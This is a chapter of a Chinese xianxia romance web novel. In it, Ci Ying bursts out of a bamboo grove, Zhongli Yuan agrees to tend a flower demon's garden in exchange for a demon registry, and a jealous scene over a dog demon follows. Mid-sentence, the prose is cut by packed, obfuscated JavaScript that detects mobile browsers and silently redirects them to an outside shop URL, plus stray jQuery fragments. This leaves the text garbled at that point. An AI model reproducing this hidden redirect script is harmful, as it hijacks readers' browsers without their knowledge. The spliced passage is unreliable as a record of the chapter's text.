22. 你还摸他??

作品:《修仙大佬人均恋爱脑?

    兰卿万没料到追踪者竟来得如此迅猛。一道红影如闪电般闪烁数次,转瞬间已至近前。


    “长安回来!”


    兰卿惊呼声未落,长安已如离弦之箭猛扑上去。


    来人侧身闪避,动作轻捷如利刃划破黑夜,同时掌心腾起一团血色光晕。


    “手下留情——”


    兰卿急喝之际,袖中绿藤骤然弹射而出,精准卷住长安,甩回,只听“噗通”一声,长安摔了个四脚朝天。


    钟离渊临风而立,银发在夜风中狂舞,眉间不耐烦的花钿因动怒而殷红如血。


    “花妖,管好你的狗。”


    躲在竹林中的辞盈惊得差点咬掉舌头。


    眼看着长安趴在地上,“嗷”一声化作巨形黑犬,龇着獠牙还要往前冲,却被绿藤死死捆住,气得嗷嗷狂吠。


    ……长安是狗?!


    那花妖说的是兰卿吗??!


    好好好,她竟一个都没看出来!


    “长安,闭嘴。”兰卿面不改色,“尊驾深夜光临寒舍,不知有何指教?”


    “明知故问。”钟离渊冷峻的目光死死盯着他,“人,交出来。”


    “什么人?”兰卿轻摇折扇,“长安不是,我亦不是。少侠,此处分明只有你一人。”


    晚风穿林而过,静谧的庭院里只剩竹叶摩擦的沙沙声。


    钟离渊扫视四周,又闭眼凝神感知。长安在藤下无声躁动,眼神示意要趁机偷袭,兰卿立刻摇头,目光里的命令无比清晰:老实趴着,别作死。


    许久,钟离渊睁眼:“我查不出踪迹,但她定然就在此处。”


    兰卿耸耸肩:“少侠可自行查验,我乐意配合。”


    钟离渊的目光最终定格在竹林,抬手抚上一根纤细的修竹,冷声道:“花妖,你将她藏在这里,与我作对,是活腻了?”


    兰卿忽然笑了:“少侠当我眼盲?这些日子,梅岭里外早被你翻了个底朝天。即便我不与你作对,你难道就会放过我?”


    原来钟离渊压根没回家,一直在梅岭打探消息……辞盈心头好奇更甚。


    这位可是个能把问心剑随手当破烂扔的主,法宝神器在他眼里不值一提,究竟是什么事值得他如此上心?


    “有趣,竟被你发现了。”钟离渊挑了挑眉,狭长的眼角瞬间漫出森然杀意,“所以你是故意绑她作人质,想以此要挟我?”


    兰卿扯了扯唇角:“不敢。兰某一介花妖,但求自保。不知少侠三番五次探查梅岭,究竟意欲何为?”


    钟离渊嗤笑:“你也配跟我谈条件?”


    “谈条件的资格,向来取决于手里的筹码有多重。”兰卿语气平静,不卑不亢。


    空气仿佛瞬间凝固,两人目光交锋处,恰似刀光剑影暗藏,杀机四伏。


    半晌,钟离渊冷哼一声:“你将她藏在竹林之中,真当我束手无策?”


    兰卿沉默地望着他,不置一词。


    下一瞬,一团烈焰轰然在钟离渊掌心燃起,他运起内力,火势如浇了滚油般窜起几丈高,映红了半边夜空。


    “你——”兰卿脱口而出,“莫要乱来,辞盈就在竹林里!”


    “我岂会不知?”钟离渊低头瞄了眼掌心光焰,唇角勾起一抹阴鸷的笑,


    “我正嫌她碍眼难除,你既藏得严实,我又分不清哪个是她,索性烧了整片竹林,一了百了!”


    兰卿脸色骤变,手腕急转祭出法器,银环外围密密麻麻的毒刺在火光下闪着寒芒。


    “怎么急了?”钟离渊冷笑,“还要多谢你,帮了我大忙。”


    “没有人可以动这片竹林,包括你。”兰卿神色凝重如铁。


    “就凭你?还是凭这只鬼鬼祟祟的小东西?”钟离渊突然抬手,掌风如箭射出,“砰”地一声从房顶掀下个人来,那身影重重摔在地上,狼狈地爬起来退回兰卿身后。


    竟是个身形矮小、脸蛋滚圆的胖乎乎小丫头。


    “璇玑!”长安急得大吼,“你这笨蛋!藏都藏不好!”


    璇玑来不及收起尖爪,胡乱抹了把嘴角的血,抿着嘴一言不发。


    “喂!你这可恶的家伙!有种跟我单挑啊!”长安在细藤里抻着脖子狂吠,“主人!快放开我!让我咬死他!连那么漂亮的姐姐都要杀,这个冷血混账!”


    钟离渊皱眉:“又是猫又是狗,聒噪死了。”


    兰卿目不转睛地盯着他,手中法器旋转,空气中弥漫开灼烧磷火的刺鼻气味。


    大战,一触即发。


    “破!”


    竹林中突然炸响一声清喝,伴随着“砰”的巨响,修竹里炸出个大活人来。


    钟离渊掌心的火焰瞬间熄灭。


    冲出来的辞盈一肚子火。


    瞅瞅面前两个各怀鬼胎的男人——一个拿她当人质,一个恨不得把她烧成灰。很明显,左边不是好人,右边也不是。


    该让这俩货打个头破血流才解气!


    可猫猫狗狗总归是无辜的。


    人弱志短。辞盈不得不压下火气,耐心做和事佬:“都是误会啊误会,散了吧,各回各家。”


    然而,两边都没有要散场的意思。


    兰卿手里的法器已经转冒烟了。


    钟离渊握着辞盈的手,状态倒松弛许多,不紧不慢道:“花妖,不必紧张,我只想借你手里的梅岭妖族谱一阅,至于你的这些猫狗竹子,我统统没兴趣。”


    “妖族谱是梅岭秘册,我不能随意借给外人。”兰卿顿了顿,“除非,你能帮我们破除漓音湖上的封印。”


    漓音湖上竟然有封印?


    辞盈暗道,不知这封印是谁设下。不过,被封印的能是什么好地方?八成里头就藏着个祸害,正如她面前这位,一旦打开盲盒恐怕后患无穷。


    还没等她发表意见,钟离渊已经漠然拒绝:“不可能。”


    “那恕在下也爱莫能助了。”兰卿道。


    钟离渊:“我没有在与你商量。”


    兰卿:“噢。”


    长安:“姐姐你快过来!离那个渣男远点!”


    钟离渊斜睨过去:“……姐姐?”


    辞盈赶紧拍灭他指尖的火苗:“叫姐姐怎么了,别瞎激动。那什么,今天大家都累了,气氛不好,不适合谈事儿,改天再聊吧哈。”


    长安:“姐姐别走!你不是说愿意为了主人永远留在这后院里吗?”


    钟离渊:“……”


    辞盈:“……”


    累了,毁灭吧。


    兰卿却悠哉地火上浇油:“辞盈姑娘,我们的约定不变,我很欢迎你住在这里。”


    “啊……多谢。”辞盈扯扯钟离渊的袖子,“我挺喜欢这儿的,我们先住下,别的事慢慢商量呗。”


    “辞盈,我只邀请了你。兰府可不是随便什么人都能留宿的。”兰卿斜倚朱栏,花影扇“唰”地展开,扇面泼墨山水间金线暗绣,手腕一翻便搅得满庭兰香四溢,“不过,我倒是缺个园丁。”


    辞盈怀疑自己听错了:“缺……什么玩意儿?”


    兰卿用扇叶一指钟离渊:“你若能替我照看好这满园修竹,或许,我会考虑妖族谱的事。”


    辞盈眼皮乱跳:“或许……你不知道他是谁……”


    这合理吗?让钟离渊种竹子?是想让自家后花园埋满尸体吗?


    钟离渊抱臂看着他,语气冰冷:“小花妖,你猜,我直接杀了你会不会更简单?”


    兰卿毫无惧色:“我敢保证,我若死了,你永远也找不到妖族谱。”


    两人对视,竹园里气氛再次僵持。辞盈紧张地左看右看,忽然发现墙角有坨圆滚滚的东西——


    “什么?主人!你让他照看竹子?他能有我做得好吗?他能保证不偷吃竹笋吗?那竹笋鲜嫩多汁,我都忍得好辛苦!他肯定会全部吃光的啊啊啊!”长安在绿藤里打滚抗议。


    墙角的东西被吵得动了动,慢吞吞换了个姿势继续睡,这次披散的长发下露出半张小圆脸。


    是璇玑,她居然还睡着了???


    钟离渊沉吟片刻,吐出四个字:“一言为定。”


    辞盈:“?”


    太魔幻了。只要活得够久,竟能看见钟离渊用那双能拍掉九曜掌门脑袋、拍碎天罡塔的手,挑水浇竹园。


    这妖族谱到底是何方神圣?看一眼能飞升成仙当玉帝吗?


    当晚,辞盈就做了个噩梦——兰府的整片竹林跟镇元子的人参果树一个下场,根脉比超市里被捏过的薯片还碎,满地狼藉,惨不忍睹。


    梦里兰卿哭得那叫一个肝肠寸断。


    不行,她得盯着点儿。


    第二天一早,辞盈趴在门上听动静。对面钟离渊的卧房刚有响动,她立刻抻着懒腰出去假装偶遇。


    一照面,她就愣了一下。


    钟离渊换了修身的赤色便服,衬得身形如淬火利刃般挺拔,颈间露出一小截雪白中衣,银发高高束成马尾,眉目俊逸中透着几分邪气,漂亮得像烈日般晃眼。


    又开始了,扑通扑通。


    她不自觉错开目光,又瞥见他袖口随意挽至肘间,露出线条分明的小臂,隐约可见几道旧痕,像是陈年旧伤。


    这伤痕……谁有本事能伤得了他呢?


    愣神的功夫,钟离渊已经大步流星消失在走廊转角。辞盈连忙跑步跟上,笑得谄媚:“哎呦这是谁家的小郎君,腿这么长,我不跑都跟不上呢。”


    钟离渊头也不回:“昨天你甩我的时候,跑得可不慢。”


    “甩你?谁呀?”辞盈戳戳他的腰,“不要冤枉我,我昨天去买东西了,肚子疼嘛……”


    “买东西买到竹园来了,变成竹子就不疼了?”


    “真没骗你,昨天肚子真的疼。”辞盈抓着他的手臂荡来荡去,“你对我这么好,我怎么舍得丢下你呢。”


    钟离渊斜她一眼:“那是谁昨天说要留在那花妖的后院?我倒没看出来,你喜欢他那样的?”


    呵,彼此彼此。昨天是谁说要一把火烧了她来着?


    辞盈摆手:“怎么可能,我不喜欢有洁癖的男


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101552|195737||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人。”


    话音未落,忽然感到脸侧冲来一阵风。


    钟离渊抬手轻轻一弹,好像要弹走指尖残留的水珠一样轻巧,身侧便凭空现出一道透明光壁,光壁上还贴着一张不知道从哪里冲过来撞扁了五官的脸,表情痛苦,贴着光壁缓缓滑落。


    两行鲜血登时从长安的鼻孔里流出来。


    辞盈看着都疼:“你没事儿吧?”


    长安摇摇头爬起来,抹掉鼻血:“我家公子不是洁癖,那是品行高洁!”


    “是是,我说错了。”辞盈笑道,“长安,你家主人呢?”


    “主人又出诊了。”长安揉着红鼻头,“狍子精那个蠢货,见到坏人也不知道跑,妖丹差点儿被打碎,他娘哭哭咧咧半天讲不清楚,主人便亲自去了。”


    信息量有点儿大。


    “兰公子是医师?”


    “不不,”长安立刻骄傲起来,“我家公子那样的人才怎么会只做医师?只不过这梅岭的妖都是些倒霉的笨妖,时常受伤,公子心善,便随手照拂了。”


    辞盈背后直冒凉风:“梅岭到底有多少妖怪啊?”


    长安抽动鼻子:“不知道,没数过。这儿人很少,基本上你看见的活物都是妖。”


    都……都是妖……


    辞盈僵硬地扭头看向钟离渊:“你知道我是什么体质吧?”


    “嗯。”


    “那你还带我来这儿???”


    简直见了鬼!她在水云剑宗躲妖怪躲了三年,连暮苍山都不敢下,全靠师尊和师兄庇护才没被妖怪嚼碎骨头,现在居然大摇大摆堂而皇之住进了妖怪窝?


    本来觉得兰卿还不错,又有钟离渊陪着,暂住几天应该没事。结果现在你告诉我整个梅岭没人类?!


    Excuseme???


    我是美团闪购新鲜唐僧肉免费送货上门吗?


    辞盈心里骂骂咧咧瞪了钟离渊一眼。


    可奇怪的是,昨夜分明风平浪静,并没有妖怪来偷袭。


    或许这些低级小妖认不出圣女体质?


    辞盈盯着长安,试探着问:“你知道我是谁吗?”


    长安卷毛下的眼睛亮晶晶:“你是我家公子领回家的漂亮姐姐!”


    “咔嚓”,钟离渊手里的整枝竹子断成了几截。


    “不不,我不要这个答案。”辞盈想了想,换个问法,“长安,你能闻到我的身体,啊不,血肉,有一股莲花香气吗?”


    长安疑惑地低下头,鼻子刚要凑过来,就被长嘴水壶的尖锐壶口抵住了喉咙。


    钟离渊:“滚远点。”


    长安却趁机用力深吸一口,眼神渐渐迷离:“姐姐不仅漂亮,还真香啊……”


    钟离渊脸色瞬间阴鸷:“蠢狗,你找死吗。”


    这是妖怪吸入大量莲花香后的本能反应,跟嗑药没两样。


    辞盈赶紧猛拍长安的脸:“喂喂,清醒点!”


    长安甩甩头,如梦初醒般喘了几口气,感慨道:“以前只听人说过圣女香,哇,果然比糖炒栗子还香,好想咬一口。”


    辞盈愕然:“你知道我是圣女?”


    长安纳闷:“我为什么不知道?所有妖精都能一眼看出你是圣女啊,只有普通人类才看不出。”


    辞盈倒吸一口凉气。


    这么说来,她昨晚甩掉钟离渊,独自在梅岭狂奔,还跟着兰卿他们到处溜达,无异于在死神的筷子尖上疯狂蹦迪!


    “那你们为什么……为什么……”她想问为什么不吃我,又觉得这个问题过于愚蠢问不出口。


    长安恍然大悟:“姐姐是不是碰见过很多坏蛋妖精,想要害你?”


    辞盈点点头。


    长安的黑脸沉了下来,怒道:“就是因为那些妖怪四处作乱,败坏我们的名声,才害得我们连门都不敢出。要是被我碰见,非把他们的妖丹打成栗子不可。”


    “你们?”


    “姐姐放心,我们梅岭的妖怪是不害人的。”长安义正辞严道,“公子说过,人也是活物,虽然笨弱,但也有爹有娘有感情,怎么能随意杀害呢?”


    真是打开新世界大门,妖居然也有这么自律的组织!


    辞盈听得热泪盈眶,很想拥抱他,又怕他嗑药犯病,只好踮起脚,费力地摸摸他卷曲的发梢:“长安好乖。”


    怎么突然有杀气?


    醋王咬着牙,眼神淬了冰:“你还摸他……”


    辞盈道:“别误会,我从小就喜欢狗狗,看见就忍不住想撸,特别是这种卷毛毛,手感真的很好啊,不信你试试。”


    钟离渊:“你说什么,你喜欢他?!”


    辞盈:“对啊我喜欢狗。”


    “狗怎么啦!”长安皱着鼻子哼了一声,乖乖蹲下魁梧的身躯,圆眼睛眨了眨:“摸吧摸吧,我最喜欢姐姐摸我了。”


    辞盈兴奋地搓搓手,刚伸出去便被一把攥住,直接拖走。


    辞盈:“哎,某人刚才不是不理我嘛?”


    钟离渊磨牙:“我迟早要把那蠢狗的卷毛剃光。”